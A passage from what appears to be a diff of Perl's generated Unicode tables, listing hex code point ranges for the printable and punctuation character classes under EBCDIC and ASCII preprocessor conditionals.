- 0x1B000, - 0x1B11F, - 0x1B170, - 0x1B2FC, - 0x1BC00, - 0x1BC6B, - 0x1BC70, - 0x1BC7D, - 0x1BC80, - 0x1BC89, - 0x1BC90, - 0x1BC9A, - 0x1BC9C, - 0x1BCA4, - 0x1D000, - 0x1D0F6, - 0x1D100, - 0x1D127, - 0x1D129, - 0x1D1E9, - 0x1D200, - 0x1D246, - 0x1D300, - 0x1D357, - 0x1D360, - 0x1D372, - 0x1D400, - 0x1D455, - 0x1D456, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D6A6, - 0x1D6A8, - 0x1D7CC, - 0x1D7CE, - 0x1DA8C, - 0x1DA9B, - 0x1DAA0, - 0x1DAA1, - 0x1DAB0, - 0x1E000, - 0x1E007, - 0x1E008, - 0x1E019, - 0x1E01B, - 0x1E022, - 0x1E023, - 0x1E025, - 0x1E026, - 0x1E02B, - 0x1E800, - 0x1E8C5, - 0x1E8C7, - 0x1E8D7, - 0x1E900, - 0x1E94B, - 0x1E950, - 0x1E95A, - 0x1E95E, - 0x1E960, - 0x1EE00, - 0x1EE04, - 0x1EE05, - 0x1EE20, - 0x1EE21, - 0x1EE23, - 0x1EE24, - 0x1EE25, - 0x1EE27, - 0x1EE28, - 0x1EE29, - 0x1EE33, - 0x1EE34, - 0x1EE38, - 0x1EE39, - 0x1EE3A, - 0x1EE3B, - 0x1EE3C, - 0x1EE42, - 0x1EE43, - 0x1EE47, - 0x1EE48, - 0x1EE49, - 0x1EE4A, - 0x1EE4B, - 0x1EE4C, - 0x1EE4D, - 0x1EE50, - 0x1EE51, - 0x1EE53, - 0x1EE54, - 0x1EE55, - 0x1EE57, - 0x1EE58, - 0x1EE59, - 0x1EE5A, - 0x1EE5B, - 0x1EE5C, - 0x1EE5D, - 0x1EE5E, - 0x1EE5F, - 0x1EE60, - 0x1EE61, - 0x1EE63, - 0x1EE64, - 0x1EE65, - 0x1EE67, - 0x1EE6B, - 0x1EE6C, - 0x1EE73, - 0x1EE74, - 0x1EE78, - 0x1EE79, - 0x1EE7D, - 0x1EE7E, - 0x1EE7F, - 0x1EE80, - 0x1EE8A, - 0x1EE8B, - 0x1EE9C, - 0x1EEA1, - 0x1EEA4, - 0x1EEA5, - 0x1EEAA, - 0x1EEAB, - 0x1EEBC, - 0x1EEF0, - 0x1EEF2, - 0x1F000, - 0x1F02C, - 0x1F030, - 0x1F094, - 0x1F0A0, - 0x1F0AF, - 0x1F0B1, - 0x1F0C0, - 0x1F0C1, - 0x1F0D0, - 0x1F0D1, - 0x1F0F6, - 0x1F100, - 0x1F10D, - 0x1F110, - 0x1F12F, - 0x1F130, - 0x1F16C, - 0x1F170, - 0x1F1AD, - 0x1F1E6, - 0x1F203, - 0x1F210, - 0x1F23C, - 0x1F240, - 0x1F249, - 0x1F250, - 0x1F252, - 0x1F260, - 0x1F266, - 0x1F300, - 0x1F6D5, - 0x1F6E0, - 0x1F6ED, - 0x1F6F0, - 0x1F6F9, - 0x1F700, - 0x1F774, - 0x1F780, - 0x1F7D5, - 0x1F800, - 0x1F80C, - 0x1F810, - 0x1F848, - 0x1F850, - 0x1F85A, - 0x1F860, - 0x1F888, - 0x1F890, - 0x1F8AE, - 0x1F900, - 0x1F90C, - 0x1F910, - 0x1F93F, - 0x1F940, - 0x1F94D, - 0x1F950, - 0x1F96C, - 0x1F980, - 0x1F998, - 0x1F9C0, - 0x1F9C1, - 0x1F9D0, - 0x1F9E7, - 0x20000, - 0x2A6D7, - 0x2A700, - 0x2B735, - 0x2B740, - 0x2B81E, - 0x2B820, - 0x2CEA2, - 0x2CEB0, - 0x2EBE1, - 0x2F800, - 0x2FA1E, - 0xE0001, - 0xE0002, - 0xE0020, - 0xE0080, - 0xE0100, - 0xE01F0, - 0xF0000, - 0xFFFFE, - 0x100000, - 0x10FFFE -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_XPOSIXPRINT_invlist[] = { /* for EBCDIC 037 */ - 1303, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x40, - 0xFF, - 0x100, - 0x378, - 0x37A, - 0x380, - 0x384, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x3A2, - 0x3A3, - 0x530, - 0x531, - 0x557, - 0x559, - 0x560, - 0x561, - 0x588, - 0x589, - 0x58B, - 0x58D, - 0x590, - 0x591, - 0x5C8, - 0x5D0, - 0x5EB, - 0x5F0, - 0x5F5, - 0x600, - 0x61D, - 0x61E, - 0x70E, - 0x70F, - 0x74B, - 0x74D, - 0x7B2, - 0x7C0, - 0x7FB, - 0x800, - 0x82E, - 0x830, - 0x83F, - 0x840, - 0x85C, - 0x85E, - 0x85F, - 0x860, - 0x86B, - 0x8A0, - 0x8B5, - 0x8B6, - 0x8BE, - 0x8D4, - 0x984, - 0x985, - 0x98D, - 0x98F, - 0x991, - 0x993, - 0x9A9, - 0x9AA, - 0x9B1, - 0x9B2, - 0x9B3, - 0x9B6, - 0x9BA, - 0x9BC, - 0x9C5, - 0x9C7, - 0x9C9, - 0x9CB, - 0x9CF, - 0x9D7, - 0x9D8, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E4, - 0x9E6, - 0x9FE, - 0xA01, - 0xA04, - 0xA05, - 0xA0B, - 0xA0F, - 0xA11, - 0xA13, - 0xA29, - 0xA2A, - 0xA31, - 0xA32, - 0xA34, - 0xA35, - 0xA37, - 0xA38, - 0xA3A, - 0xA3C, - 0xA3D, - 0xA3E, - 0xA43, - 0xA47, - 0xA49, - 0xA4B, - 0xA4E, - 0xA51, - 0xA52, - 0xA59, - 0xA5D, - 0xA5E, - 0xA5F, - 0xA66, - 0xA76, - 0xA81, - 0xA84, - 0xA85, - 0xA8E, - 0xA8F, - 0xA92, - 0xA93, - 0xAA9, - 0xAAA, - 0xAB1, - 0xAB2, - 0xAB4, - 0xAB5, - 0xABA, - 0xABC, - 0xAC6, - 0xAC7, - 0xACA, - 0xACB, - 0xACE, - 0xAD0, - 0xAD1, - 0xAE0, - 0xAE4, - 0xAE6, - 0xAF2, - 0xAF9, - 0xB00, - 0xB01, - 0xB04, - 0xB05, - 0xB0D, - 0xB0F, - 0xB11, - 0xB13, - 0xB29, - 0xB2A, - 0xB31, - 0xB32, - 0xB34, - 0xB35, - 0xB3A, - 0xB3C, - 0xB45, - 0xB47, - 0xB49, - 0xB4B, - 0xB4E, - 0xB56, - 0xB58, - 0xB5C, - 0xB5E, - 0xB5F, - 0xB64, - 0xB66, - 0xB78, - 0xB82, - 0xB84, - 0xB85, - 0xB8B, - 0xB8E, - 0xB91, - 0xB92, - 0xB96, - 0xB99, - 0xB9B, - 0xB9C, - 0xB9D, - 0xB9E, - 0xBA0, - 0xBA3, - 0xBA5, - 0xBA8, - 0xBAB, - 0xBAE, - 0xBBA, - 0xBBE, - 0xBC3, - 0xBC6, - 0xBC9, - 0xBCA, - 0xBCE, - 0xBD0, - 0xBD1, - 0xBD7, - 0xBD8, - 0xBE6, - 0xBFB, - 0xC00, - 0xC04, - 0xC05, - 0xC0D, - 0xC0E, - 0xC11, - 0xC12, - 0xC29, - 0xC2A, - 0xC3A, - 0xC3D, - 0xC45, - 0xC46, - 0xC49, - 0xC4A, - 0xC4E, - 0xC55, - 0xC57, - 0xC58, - 0xC5B, - 0xC60, - 0xC64, - 0xC66, - 0xC70, - 0xC78, - 0xC84, - 0xC85, - 0xC8D, - 0xC8E, - 0xC91, - 0xC92, - 0xCA9, - 0xCAA, - 0xCB4, - 0xCB5, - 0xCBA, - 0xCBC, - 0xCC5, - 0xCC6, - 0xCC9, - 0xCCA, - 0xCCE, - 0xCD5, - 0xCD7, - 0xCDE, - 0xCDF, - 0xCE0, - 0xCE4, - 0xCE6, - 0xCF0, - 0xCF1, - 0xCF3, - 0xD00, - 0xD04, - 0xD05, - 0xD0D, - 0xD0E, - 0xD11, - 0xD12, - 0xD45, - 0xD46, - 0xD49, - 0xD4A, - 0xD50, - 0xD54, - 0xD64, - 0xD66, - 0xD80, - 0xD82, - 0xD84, - 0xD85, - 0xD97, - 0xD9A, - 0xDB2, - 0xDB3, - 0xDBC, - 0xDBD, - 0xDBE, - 0xDC0, - 0xDC7, - 0xDCA, - 0xDCB, - 0xDCF, - 0xDD5, - 0xDD6, - 0xDD7, - 0xDD8, - 0xDE0, - 0xDE6, - 0xDF0, - 0xDF2, - 0xDF5, - 0xE01, - 0xE3B, - 0xE3F, - 0xE5C, - 0xE81, - 0xE83, - 0xE84, - 0xE85, - 0xE87, - 0xE89, - 0xE8A, - 0xE8B, - 0xE8D, - 0xE8E, - 0xE94, - 0xE98, - 0xE99, - 0xEA0, - 0xEA1, - 0xEA4, - 0xEA5, - 0xEA6, - 0xEA7, - 0xEA8, - 0xEAA, - 0xEAC, - 0xEAD, - 0xEBA, - 0xEBB, - 0xEBE, - 0xEC0, - 0xEC5, - 0xEC6, - 0xEC7, - 0xEC8, - 0xECE, - 0xED0, - 0xEDA, - 0xEDC, - 0xEE0, - 0xF00, - 0xF48, - 0xF49, - 0xF6D, - 0xF71, - 0xF98, - 0xF99, - 0xFBD, - 0xFBE, - 0xFCD, - 0xFCE, - 0xFDB, - 0x1000, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x10D0, - 0x1249, - 0x124A, - 0x124E, - 0x1250, - 0x1257, - 0x1258, - 0x1259, - 0x125A, - 0x125E, - 0x1260, - 0x1289, - 0x128A, - 0x128E, - 0x1290, - 0x12B1, - 0x12B2, - 0x12B6, - 0x12B8, - 0x12BF, - 0x12C0, - 0x12C1, - 0x12C2, - 0x12C6, - 0x12C8, - 0x12D7, - 0x12D8, - 0x1311, - 0x1312, - 0x1316, - 0x1318, - 0x135B, - 0x135D, - 0x137D, - 0x1380, - 0x139A, - 0x13A0, - 0x13F6, - 0x13F8, - 0x13FE, - 0x1400, - 0x169D, - 0x16A0, - 0x16F9, - 0x1700, - 0x170D, - 0x170E, - 0x1715, - 0x1720, - 0x1737, - 0x1740, - 0x1754, - 0x1760, - 0x176D, - 0x176E, - 0x1771, - 0x1772, - 0x1774, - 0x1780, - 0x17DE, - 0x17E0, - 0x17EA, - 0x17F0, - 0x17FA, - 0x1800, - 0x180F, - 0x1810, - 0x181A, - 0x1820, - 0x1878, - 0x1880, - 0x18AB, - 0x18B0, - 0x18F6, - 0x1900, - 0x191F, - 0x1920, - 0x192C, - 0x1930, - 0x193C, - 0x1940, - 0x1941, - 0x1944, - 0x196E, - 0x1970, - 0x1975, - 0x1980, - 0x19AC, - 0x19B0, - 0x19CA, - 0x19D0, - 0x19DB, - 0x19DE, - 0x1A1C, - 0x1A1E, - 0x1A5F, - 0x1A60, - 0x1A7D, - 0x1A7F, - 0x1A8A, - 0x1A90, - 0x1A9A, - 0x1AA0, - 0x1AAE, - 0x1AB0, - 0x1ABF, - 0x1B00, - 0x1B4C, - 0x1B50, - 0x1B7D, - 0x1B80, - 0x1BF4, - 0x1BFC, - 0x1C38, - 0x1C3B, - 0x1C4A, - 0x1C4D, - 0x1C89, - 0x1CC0, - 0x1CC8, - 0x1CD0, - 0x1CFA, - 0x1D00, - 0x1DFA, - 0x1DFB, - 0x1F16, - 0x1F18, - 0x1F1E, - 0x1F20, - 0x1F46, - 0x1F48, - 0x1F4E, - 0x1F50, - 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F7E, - 0x1F80, - 0x1FB5, - 0x1FB6, - 0x1FC5, - 0x1FC6, - 0x1FD4, - 0x1FD6, - 0x1FDC, - 0x1FDD, - 0x1FF0, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FFF, - 0x2000, - 0x2028, - 0x202A, - 0x2065, - 0x2066, - 0x2072, - 0x2074, - 0x208F, - 0x2090, - 0x209D, - 0x20A0, - 0x20C0, - 0x20D0, - 0x20F1, - 0x2100, - 0x218C, - 0x2190, - 0x2427, - 0x2440, - 0x244B, - 0x2460, - 0x2B74, - 0x2B76, - 0x2B96, - 0x2B98, - 0x2BBA, - 0x2BBD, - 0x2BC9, - 0x2BCA, - 0x2BD3, - 0x2BEC, - 0x2BF0, - 0x2C00, - 0x2C2F, - 0x2C30, - 0x2C5F, - 0x2C60, - 0x2CF4, - 0x2CF9, - 0x2D26, - 0x2D27, - 0x2D28, - 0x2D2D, - 0x2D2E, - 0x2D30, - 0x2D68, - 0x2D6F, - 0x2D71, - 0x2D7F, - 0x2D97, - 0x2DA0, - 0x2DA7, - 0x2DA8, - 0x2DAF, - 0x2DB0, - 0x2DB7, - 0x2DB8, - 0x2DBF, - 0x2DC0, - 0x2DC7, - 0x2DC8, - 0x2DCF, - 0x2DD0, - 0x2DD7, - 0x2DD8, - 0x2DDF, - 0x2DE0, - 0x2E4A, - 0x2E80, - 0x2E9A, - 0x2E9B, - 0x2EF4, - 0x2F00, - 0x2FD6, - 0x2FF0, - 0x2FFC, - 0x3000, - 0x3040, - 0x3041, - 0x3097, - 0x3099, - 0x3100, - 0x3105, - 0x312F, - 0x3131, - 0x318F, - 0x3190, - 0x31BB, - 0x31C0, - 0x31E4, - 0x31F0, - 0x321F, - 0x3220, - 0x32FF, - 0x3300, - 0x4DB6, - 0x4DC0, - 0x9FEB, - 0xA000, - 0xA48D, - 0xA490, - 0xA4C7, - 0xA4D0, - 0xA62C, - 0xA640, - 0xA6F8, - 0xA700, - 0xA7AF, - 0xA7B0, - 0xA7B8, - 0xA7F7, - 0xA82C, - 0xA830, - 0xA83A, - 0xA840, - 0xA878, - 0xA880, - 0xA8C6, - 0xA8CE, - 0xA8DA, - 0xA8E0, - 0xA8FE, - 0xA900, - 0xA954, - 0xA95F, - 0xA97D, - 0xA980, - 0xA9CE, - 0xA9CF, - 0xA9DA, - 0xA9DE, - 0xA9FF, - 0xAA00, - 0xAA37, - 0xAA40, - 0xAA4E, - 0xAA50, - 0xAA5A, - 0xAA5C, - 0xAAC3, - 0xAADB, - 0xAAF7, - 0xAB01, - 0xAB07, - 0xAB09, - 0xAB0F, - 0xAB11, - 0xAB17, - 0xAB20, - 0xAB27, - 0xAB28, - 0xAB2F, - 0xAB30, - 0xAB66, - 0xAB70, - 0xABEE, - 0xABF0, - 0xABFA, - 0xAC00, - 0xD7A4, - 0xD7B0, - 0xD7C7, - 0xD7CB, - 0xD7FC, - 0xE000, - 0xFA6E, - 0xFA70, - 0xFADA, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFB1D, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFBC2, - 0xFBD3, - 0xFD40, - 0xFD50, - 0xFD90, - 0xFD92, - 0xFDC8, - 0xFDF0, - 0xFDFE, - 0xFE00, - 0xFE1A, - 0xFE20, - 0xFE53, - 0xFE54, - 0xFE67, - 0xFE68, - 0xFE6C, - 0xFE70, - 0xFE75, - 0xFE76, - 0xFEFD, - 0xFEFF, - 0xFF00, - 0xFF01, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD, - 0xFFE0, - 0xFFE7, - 0xFFE8, - 0xFFEF, - 0xFFF9, - 0xFFFE, - 0x10000, - 0x1000C, - 0x1000D, - 0x10027, - 0x10028, - 0x1003B, - 0x1003C, - 0x1003E, - 0x1003F, - 0x1004E, - 0x10050, - 0x1005E, - 0x10080, - 0x100FB, - 0x10100, - 0x10103, - 0x10107, - 0x10134, - 0x10137, - 0x1018F, - 0x10190, - 0x1019C, - 0x101A0, - 0x101A1, - 0x101D0, - 0x101FE, - 0x10280, - 0x1029D, - 0x102A0, - 0x102D1, - 0x102E0, - 0x102FC, - 0x10300, - 0x10324, - 0x1032D, - 0x1034B, - 0x10350, - 0x1037B, - 0x10380, - 0x1039E, - 0x1039F, - 0x103C4, - 0x103C8, - 0x103D6, - 0x10400, - 0x1049E, - 0x104A0, - 0x104AA, - 0x104B0, - 0x104D4, - 0x104D8, - 0x104FC, - 0x10500, - 0x10528, - 0x10530, - 0x10564, - 0x1056F, - 0x10570, - 0x10600, - 0x10737, - 0x10740, - 0x10756, - 0x10760, - 0x10768, - 0x10800, - 0x10806, - 0x10808, - 0x10809, - 0x1080A, - 0x10836, - 0x10837, - 0x10839, - 0x1083C, - 0x1083D, - 0x1083F, - 0x10856, - 0x10857, - 0x1089F, - 0x108A7, - 0x108B0, - 0x108E0, - 0x108F3, - 0x108F4, - 0x108F6, - 0x108FB, - 0x1091C, - 0x1091F, - 0x1093A, - 0x1093F, - 0x10940, - 0x10980, - 0x109B8, - 0x109BC, - 0x109D0, - 0x109D2, - 0x10A04, - 0x10A05, - 0x10A07, - 0x10A0C, - 0x10A14, - 0x10A15, - 0x10A18, - 0x10A19, - 0x10A34, - 0x10A38, - 0x10A3B, - 0x10A3F, - 0x10A48, - 0x10A50, - 0x10A59, - 0x10A60, - 0x10AA0, - 0x10AC0, - 0x10AE7, - 0x10AEB, - 0x10AF7, - 0x10B00, - 0x10B36, - 0x10B39, - 0x10B56, - 0x10B58, - 0x10B73, - 0x10B78, - 0x10B92, - 0x10B99, - 0x10B9D, - 0x10BA9, - 0x10BB0, - 0x10C00, - 0x10C49, - 0x10C80, - 0x10CB3, - 0x10CC0, - 0x10CF3, - 0x10CFA, - 0x10D00, - 0x10E60, - 0x10E7F, - 0x11000, - 0x1104E, - 0x11052, - 0x11070, - 0x1107F, - 0x110C2, - 0x110D0, - 0x110E9, - 0x110F0, - 0x110FA, - 0x11100, - 0x11135, - 0x11136, - 0x11144, - 0x11150, - 0x11177, - 0x11180, - 0x111CE, - 0x111D0, - 0x111E0, - 0x111E1, - 0x111F5, - 0x11200, - 0x11212, - 0x11213, - 0x1123F, - 0x11280, - 0x11287, - 0x11288, - 0x11289, - 0x1128A, - 0x1128E, - 0x1128F, - 0x1129E, - 0x1129F, - 0x112AA, - 0x112B0, - 0x112EB, - 0x112F0, - 0x112FA, - 0x11300, - 0x11304, - 0x11305, - 0x1130D, - 0x1130F, - 0x11311, - 0x11313, - 0x11329, - 0x1132A, - 0x11331, - 0x11332, - 0x11334, - 0x11335, - 0x1133A, - 0x1133C, - 0x11345, - 0x11347, - 0x11349, - 0x1134B, - 0x1134E, - 0x11350, - 0x11351, - 0x11357, - 0x11358, - 0x1135D, - 0x11364, - 0x11366, - 0x1136D, - 0x11370, - 0x11375, - 0x11400, - 0x1145A, - 0x1145B, - 0x1145C, - 0x1145D, - 0x1145E, - 0x11480, - 0x114C8, - 0x114D0, - 0x114DA, - 0x11580, - 0x115B6, - 0x115B8, - 0x115DE, - 0x11600, - 0x11645, - 0x11650, - 0x1165A, - 0x11660, - 0x1166D, - 0x11680, - 0x116B8, - 0x116C0, - 0x116CA, - 0x11700, - 0x1171A, - 0x1171D, - 0x1172C, - 0x11730, - 0x11740, - 0x118A0, - 0x118F3, - 0x118FF, - 0x11900, - 0x11A00, - 0x11A48, - 0x11A50, - 0x11A84, - 0x11A86, - 0x11A9D, - 0x11A9E, - 0x11AA3, - 0x11AC0, - 0x11AF9, - 0x11C00, - 0x11C09, - 0x11C0A, - 0x11C37, - 0x11C38, - 0x11C46, - 0x11C50, - 0x11C6D, - 0x11C70, - 0x11C90, - 0x11C92, - 0x11CA8, - 0x11CA9, - 0x11CB7, - 0x11D00, - 0x11D07, - 0x11D08, - 0x11D0A, - 0x11D0B, - 0x11D37, - 0x11D3A, - 0x11D3B, - 0x11D3C, - 0x11D3E, - 0x11D3F, - 0x11D48, - 0x11D50, - 0x11D5A, - 0x12000, - 0x1239A, - 0x12400, - 0x1246F, - 0x12470, - 0x12475, - 0x12480, - 0x12544, - 0x13000, - 0x1342F, - 0x14400, - 0x14647, - 0x16800, - 0x16A39, - 0x16A40, - 0x16A5F, - 0x16A60, - 0x16A6A, - 0x16A6E, - 0x16A70, - 0x16AD0, - 0x16AEE, - 0x16AF0, - 0x16AF6, - 0x16B00, - 0x16B46, - 0x16B50, - 0x16B5A, - 0x16B5B, - 0x16B62, - 0x16B63, - 0x16B78, - 0x16B7D, - 0x16B90, - 0x16F00, - 0x16F45, - 0x16F50, - 0x16F7F, - 0x16F8F, - 0x16FA0, - 0x16FE0, - 0x16FE2, - 0x17000, - 0x187ED, - 0x18800, - 0x18AF3, - 0x1B000, - 0x1B11F, - 0x1B170, - 0x1B2FC, - 0x1BC00, - 0x1BC6B, - 0x1BC70, - 0x1BC7D, - 0x1BC80, - 0x1BC89, - 0x1BC90, - 0x1BC9A, - 0x1BC9C, - 0x1BCA4, - 0x1D000, - 0x1D0F6, - 0x1D100, - 0x1D127, - 0x1D129, - 0x1D1E9, - 0x1D200, - 0x1D246, - 0x1D300, - 0x1D357, - 0x1D360, - 0x1D372, - 0x1D400, - 0x1D455, - 0x1D456, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D6A6, - 0x1D6A8, - 0x1D7CC, - 0x1D7CE, - 0x1DA8C, - 0x1DA9B, - 0x1DAA0, - 0x1DAA1, - 0x1DAB0, - 0x1E000, - 0x1E007, - 0x1E008, - 0x1E019, - 0x1E01B, - 0x1E022, - 0x1E023, - 0x1E025, - 0x1E026, - 0x1E02B, - 0x1E800, - 0x1E8C5, - 0x1E8C7, - 0x1E8D7, - 0x1E900, - 0x1E94B, - 0x1E950, - 0x1E95A, - 0x1E95E, - 0x1E960, - 0x1EE00, - 0x1EE04, - 0x1EE05, - 0x1EE20, - 0x1EE21, - 0x1EE23, - 0x1EE24, - 0x1EE25, - 0x1EE27, - 0x1EE28, - 0x1EE29, - 0x1EE33, - 0x1EE34, - 0x1EE38, - 0x1EE39, - 0x1EE3A, - 0x1EE3B, - 0x1EE3C, - 0x1EE42, - 0x1EE43, - 0x1EE47, - 0x1EE48, - 0x1EE49, - 0x1EE4A, - 0x1EE4B, - 0x1EE4C, - 0x1EE4D, - 0x1EE50, - 0x1EE51, - 0x1EE53, - 0x1EE54, - 0x1EE55, - 0x1EE57, - 0x1EE58, - 0x1EE59, - 0x1EE5A, - 0x1EE5B, - 0x1EE5C, - 0x1EE5D, - 0x1EE5E, - 0x1EE5F, - 0x1EE60, - 0x1EE61, - 0x1EE63, - 0x1EE64, - 0x1EE65, - 0x1EE67, - 0x1EE6B, - 0x1EE6C, - 0x1EE73, - 0x1EE74, - 0x1EE78, - 0x1EE79, - 0x1EE7D, - 0x1EE7E, - 0x1EE7F, - 0x1EE80, - 0x1EE8A, - 0x1EE8B, - 0x1EE9C, - 0x1EEA1, - 0x1EEA4, - 0x1EEA5, - 0x1EEAA, - 0x1EEAB, - 0x1EEBC, - 0x1EEF0, - 0x1EEF2, - 0x1F000, - 0x1F02C, - 0x1F030, - 0x1F094, - 0x1F0A0, - 0x1F0AF, - 0x1F0B1, - 0x1F0C0, - 0x1F0C1, - 0x1F0D0, - 0x1F0D1, - 0x1F0F6, - 0x1F100, - 0x1F10D, - 0x1F110, - 0x1F12F, - 0x1F130, - 0x1F16C, - 0x1F170, - 0x1F1AD, - 0x1F1E6, - 0x1F203, - 0x1F210, - 0x1F23C, - 0x1F240, - 0x1F249, - 0x1F250, - 0x1F252, - 0x1F260, - 0x1F266, - 0x1F300, - 0x1F6D5, - 0x1F6E0, - 0x1F6ED, - 0x1F6F0, - 0x1F6F9, - 0x1F700, - 0x1F774, - 0x1F780, - 0x1F7D5, - 0x1F800, - 0x1F80C, - 0x1F810, - 0x1F848, - 0x1F850, - 0x1F85A, - 0x1F860, - 0x1F888, - 0x1F890, - 0x1F8AE, - 0x1F900, - 0x1F90C, - 0x1F910, - 0x1F93F, - 0x1F940, - 0x1F94D, - 0x1F950, - 0x1F96C, - 0x1F980, - 0x1F998, - 0x1F9C0, - 0x1F9C1, - 0x1F9D0, - 0x1F9E7, - 0x20000, - 0x2A6D7, - 0x2A700, - 0x2B735, - 0x2B740, - 0x2B81E, - 0x2B820, - 0x2CEA2, - 0x2CEB0, - 0x2EBE1, - 0x2F800, - 0x2FA1E, - 0xE0001, - 0xE0002, - 0xE0020, - 0xE0080, - 0xE0100, - 0xE01F0, - 0xF0000, - 0xFFFFE, - 0x100000, - 0x10FFFE -}; - -# endif /* EBCDIC 037 */ - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_XPOSIXPUNCT_invlist[] = { /* for ASCII/Latin1 */ - 335, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x21, - 0x30, - 0x3A, - 0x41, - 0x5B, - 0x61, - 0x7B, - 0x7F, - 0xA1, - 0xA2, - 0xA7, - 0xA8, - 0xAB, - 0xAC, - 0xB6, - 0xB8, - 0xBB, - 0xBC, - 0xBF, - 0xC0, - 0x37E, - 0x37F, - 0x387, - 0x388, - 0x55A, - 0x560, - 0x589, - 0x58B, - 0x5BE, - 0x5BF, - 0x5C0, - 0x5C1, - 0x5C3, - 0x5C4, - 0x5C6, - 0x5C7, - 0x5F3, - 0x5F5, - 0x609, - 0x60B, - 0x60C, - 0x60E, - 0x61B, - 0x61C, - 0x61E, - 0x620, - 0x66A, - 0x66E, - 0x6D4, - 0x6D5, - 0x700, - 0x70E, - 0x7F7, - 0x7FA, - 0x830, - 0x83F, - 0x85E, - 0x85F, - 0x964, - 0x966, - 0x970, - 0x971, - 0x9FD, - 0x9FE, - 0xAF0, - 0xAF1, - 0xDF4, - 0xDF5, - 0xE4F, - 0xE50, - 0xE5A, - 0xE5C, - 0xF04, - 0xF13, - 0xF14, - 0xF15, - 0xF3A, - 0xF3E, - 0xF85, - 0xF86, - 0xFD0, - 0xFD5, - 0xFD9, - 0xFDB, - 0x104A, - 0x1050, - 0x10FB, - 0x10FC, - 0x1360, - 0x1369, - 0x1400, - 0x1401, - 0x166D, - 0x166F, - 0x169B, - 0x169D, - 0x16EB, - 0x16EE, - 0x1735, - 0x1737, - 0x17D4, - 0x17D7, - 0x17D8, - 0x17DB, - 0x1800, - 0x180B, - 0x1944, - 0x1946, - 0x1A1E, - 0x1A20, - 0x1AA0, - 0x1AA7, - 0x1AA8, - 0x1AAE, - 0x1B5A, - 0x1B61, - 0x1BFC, - 0x1C00, - 0x1C3B, - 0x1C40, - 0x1C7E, - 0x1C80, - 0x1CC0, - 0x1CC8, - 0x1CD3, - 0x1CD4, - 0x2010, - 0x2028, - 0x2030, - 0x2044, - 0x2045, - 0x2052, - 0x2053, - 0x205F, - 0x207D, - 0x207F, - 0x208D, - 0x208F, - 0x2308, - 0x230C, - 0x2329, - 0x232B, - 0x2768, - 0x2776, - 0x27C5, - 0x27C7, - 0x27E6, - 0x27F0, - 0x2983, - 0x2999, - 0x29D8, - 0x29DC, - 0x29FC, - 0x29FE, - 0x2CF9, - 0x2CFD, - 0x2CFE, - 0x2D00, - 0x2D70, - 0x2D71, - 0x2E00, - 0x2E2F, - 0x2E30, - 0x2E4A, - 0x3001, - 0x3004, - 0x3008, - 0x3012, - 0x3014, - 0x3020, - 0x3030, - 0x3031, - 0x303D, - 0x303E, - 0x30A0, - 0x30A1, - 0x30FB, - 0x30FC, - 0xA4FE, - 0xA500, - 0xA60D, - 0xA610, - 0xA673, - 0xA674, - 0xA67E, - 0xA67F, - 0xA6F2, - 0xA6F8, - 0xA874, - 0xA878, - 0xA8CE, - 0xA8D0, - 0xA8F8, - 0xA8FB, - 0xA8FC, - 0xA8FD, - 0xA92E, - 0xA930, - 0xA95F, - 0xA960, - 0xA9C1, - 0xA9CE, - 0xA9DE, - 0xA9E0, - 0xAA5C, - 0xAA60, - 0xAADE, - 0xAAE0, - 0xAAF0, - 0xAAF2, - 0xABEB, - 0xABEC, - 0xFD3E, - 0xFD40, - 0xFE10, - 0xFE1A, - 0xFE30, - 0xFE53, - 0xFE54, - 0xFE62, - 0xFE63, - 0xFE64, - 0xFE68, - 0xFE69, - 0xFE6A, - 0xFE6C, - 0xFF01, - 0xFF04, - 0xFF05, - 0xFF0B, - 0xFF0C, - 0xFF10, - 0xFF1A, - 0xFF1C, - 0xFF1F, - 0xFF21, - 0xFF3B, - 0xFF3E, - 0xFF3F, - 0xFF40, - 0xFF5B, - 0xFF5C, - 